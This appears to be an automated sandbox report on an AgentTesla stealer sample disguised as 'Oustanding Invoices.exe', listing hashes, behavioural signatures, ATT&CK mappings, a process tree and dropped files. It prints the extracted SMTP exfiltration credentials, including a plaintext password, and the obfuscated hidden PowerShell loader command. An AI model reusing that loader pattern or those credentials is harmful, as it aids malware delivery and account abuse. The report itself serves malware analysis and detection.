agenttesla | ee1b7275bcf909be5d30a4eaa7accf81308378989ba39ee2314ed36b9a705ed0

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16/10/2024, 10:39

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General

Target

Oustanding Invoices.exe
Size

788KB
MD5

65061801d64c7154fdcafe07289fdd64
SHA1

88f6c3bc401aeddf395a409ece7ae3f44721a06c
SHA256

95e8ab1f03e2ab0b9b2591d310a42813726f13d6d2a4301bfd117c1c0c6fe9e1
SHA512

58aedadb06f2e0f664022832d43bf34136573db6106d0b620cd6554c1f31948eb89b81074bd932754f0befddab1a6144fac4256e90190228aff5520e81cf841f
SSDEEP

12288:DHANG3RciXWNhnABLQ8LbMUeKIoBg1z+W0Cla+ve7bAvANa24jVY:DHxcVjABRYMIYOzp0sjvzE1z

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
oadc jzrw bmvr klnl

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
oadc jzrw bmvr klnl
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
32	544	msiexec.exe
35	544	msiexec.exe
43	544	msiexec.exe
47	544	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
34	api.ipify.org
35	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
544	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2536	powershell.exe
544	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Oustanding Invoices.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
544	msiexec.exe
544	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeIncreaseQuotaPrivilege	2536	powershell.exe
Token: SeSecurityPrivilege	2536	powershell.exe
Token: SeTakeOwnershipPrivilege	2536	powershell.exe
Token: SeLoadDriverPrivilege	2536	powershell.exe
Token: SeSystemProfilePrivilege	2536	powershell.exe
Token: SeSystemtimePrivilege	2536	powershell.exe
Token: SeProfSingleProcessPrivilege	2536	powershell.exe
Token: SeIncBasePriorityPrivilege	2536	powershell.exe
Token: SeCreatePagefilePrivilege	2536	powershell.exe
Token: SeBackupPrivilege	2536	powershell.exe
Token: SeRestorePrivilege	2536	powershell.exe
Token: SeShutdownPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeSystemEnvironmentPrivilege	2536	powershell.exe
Token: SeRemoteShutdownPrivilege	2536	powershell.exe
Token: SeUndockPrivilege	2536	powershell.exe
Token: SeManageVolumePrivilege	2536	powershell.exe
Token: 33	2536	powershell.exe
Token: 34	2536	powershell.exe
Token: 35	2536	powershell.exe
Token: 36	2536	powershell.exe
Token: SeDebugPrivilege	544	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 2536	3456	Oustanding Invoices.exe	86
PID 3456 wrote to memory of 2536	3456	Oustanding Invoices.exe	86
PID 3456 wrote to memory of 2536	3456	Oustanding Invoices.exe	86
PID 2536 wrote to memory of 544	2536	powershell.exe	96
PID 2536 wrote to memory of 544	2536	powershell.exe	96
PID 2536 wrote to memory of 544	2536	powershell.exe	96
PID 2536 wrote to memory of 544	2536	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\Oustanding Invoices.exe
"C:\Users\Admin\AppData\Local\Temp\Oustanding Invoices.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Brdrepar62=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\gurlis\billeter\pli\Afmilitariserings233.Eft';$Upaavirkede=$Brdrepar62.SubString(4815,3);.$Upaavirkede($Brdrepar62) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bftb3g51.wow.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gurlis\billeter\pli\Afmilitariserings233.Eft

Filesize
73KB

MD5
3c1a789a0b8eb93551d9b3eb30ccc48c

SHA1
ede01fd5870ebcf773904c45b2fc8c47c2a39602

SHA256
a3f5a7c3379d671e7ef53fef6a9ddfa0d1fd1ff0f9dd9ae1a05ab538ece790a2

SHA512
b8d1045c54cd0eaa7f9b928c8cbf6cf95e523260c7242f79b8fcdad87e7c27812b1d3c18dbc46625bb29beffa212c7a5120c6d64055e59c94d28c2925906133b

Download Submit
C:\Users\Admin\AppData\Roaming\gurlis\billeter\pli\Nicolais.Try

Filesize
315KB

MD5
0c95e9f4be2642e1c3a43973e737063f

SHA1
46e982b415faafbad8ae2326a16d23db2c81bdcf

SHA256
a7bfa185bde97883232745ddec260b0b1335ff3a3901cdc1e4952d8d0822f225

SHA512
065ff3bd02f4df0ccc3a19ac7ff15d24fc22e5fc079854488b1e1612ca6d87276a3f8459da99304cf12feca2700d7d730a882cc28f95b40f6eaa1deb0a1c5079

Download Submit
memory/544-71-0x0000000024870000-0x000000002487A000-memory.dmp

Filesize
40KB

Download
memory/544-70-0x0000000024980000-0x0000000024A12000-memory.dmp

Filesize
584KB

Download
memory/544-69-0x00000000248E0000-0x000000002497C000-memory.dmp

Filesize
624KB

Download
memory/544-68-0x00000000241C0000-0x0000000024210000-memory.dmp

Filesize
320KB

Download
memory/544-66-0x0000000001200000-0x0000000001244000-memory.dmp

Filesize
272KB

Download
memory/544-65-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/2536-46-0x0000000007740000-0x000000000775E000-memory.dmp

Filesize
120KB

Download
memory/2536-50-0x0000000007910000-0x000000000793A000-memory.dmp

Filesize
168KB

Download
memory/2536-26-0x0000000006360000-0x00000000063AC000-memory.dmp

Filesize
304KB

Download
memory/2536-27-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/2536-28-0x0000000006800000-0x000000000681A000-memory.dmp

Filesize
104KB

Download
memory/2536-29-0x0000000006890000-0x00000000068B2000-memory.dmp

Filesize
136KB

Download
memory/2536-30-0x0000000007980000-0x0000000007F24000-memory.dmp

Filesize
5.6MB

Download
memory/2536-20-0x0000000005D90000-0x00000000060E4000-memory.dmp

Filesize
3.3MB

Download
memory/2536-32-0x00000000085B0000-0x0000000008C2A000-memory.dmp

Filesize
6.5MB

Download
memory/2536-34-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/2536-35-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-33-0x0000000007760000-0x0000000007792000-memory.dmp

Filesize
200KB

Download
memory/2536-36-0x0000000070E40000-0x0000000071194000-memory.dmp

Filesize
3.3MB

Download
memory/2536-7-0x000000007440E000-0x000000007440F000-memory.dmp

Filesize
4KB

Download
memory/2536-48-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-47-0x00000000077B0000-0x0000000007853000-memory.dmp

Filesize
652KB

Download
memory/2536-49-0x00000000078D0000-0x00000000078DA000-memory.dmp

Filesize
40KB

Download
memory/2536-25-0x0000000006320000-0x000000000633E000-memory.dmp

Filesize
120KB

Download
memory/2536-51-0x0000000007940000-0x0000000007964000-memory.dmp

Filesize
144KB

Download
memory/2536-52-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-54-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-13-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Filesize
408KB

Download
memory/2536-57-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-58-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-56-0x000000007440E000-0x000000007440F000-memory.dmp

Filesize
4KB

Download
memory/2536-59-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-60-0x0000000008C30000-0x000000000C799000-memory.dmp

Filesize
59.4MB

Download
memory/2536-61-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-62-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-64-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-14-0x0000000005D20000-0x0000000005D86000-memory.dmp

Filesize
408KB

Download
memory/2536-12-0x0000000005350000-0x0000000005372000-memory.dmp

Filesize
136KB

Download
memory/2536-11-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-9-0x0000000005410000-0x0000000005A38000-memory.dmp

Filesize
6.2MB

Download
memory/2536-10-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/2536-8-0x0000000004D70000-0x0000000004DA6000-memory.dmp

Filesize
216KB

Download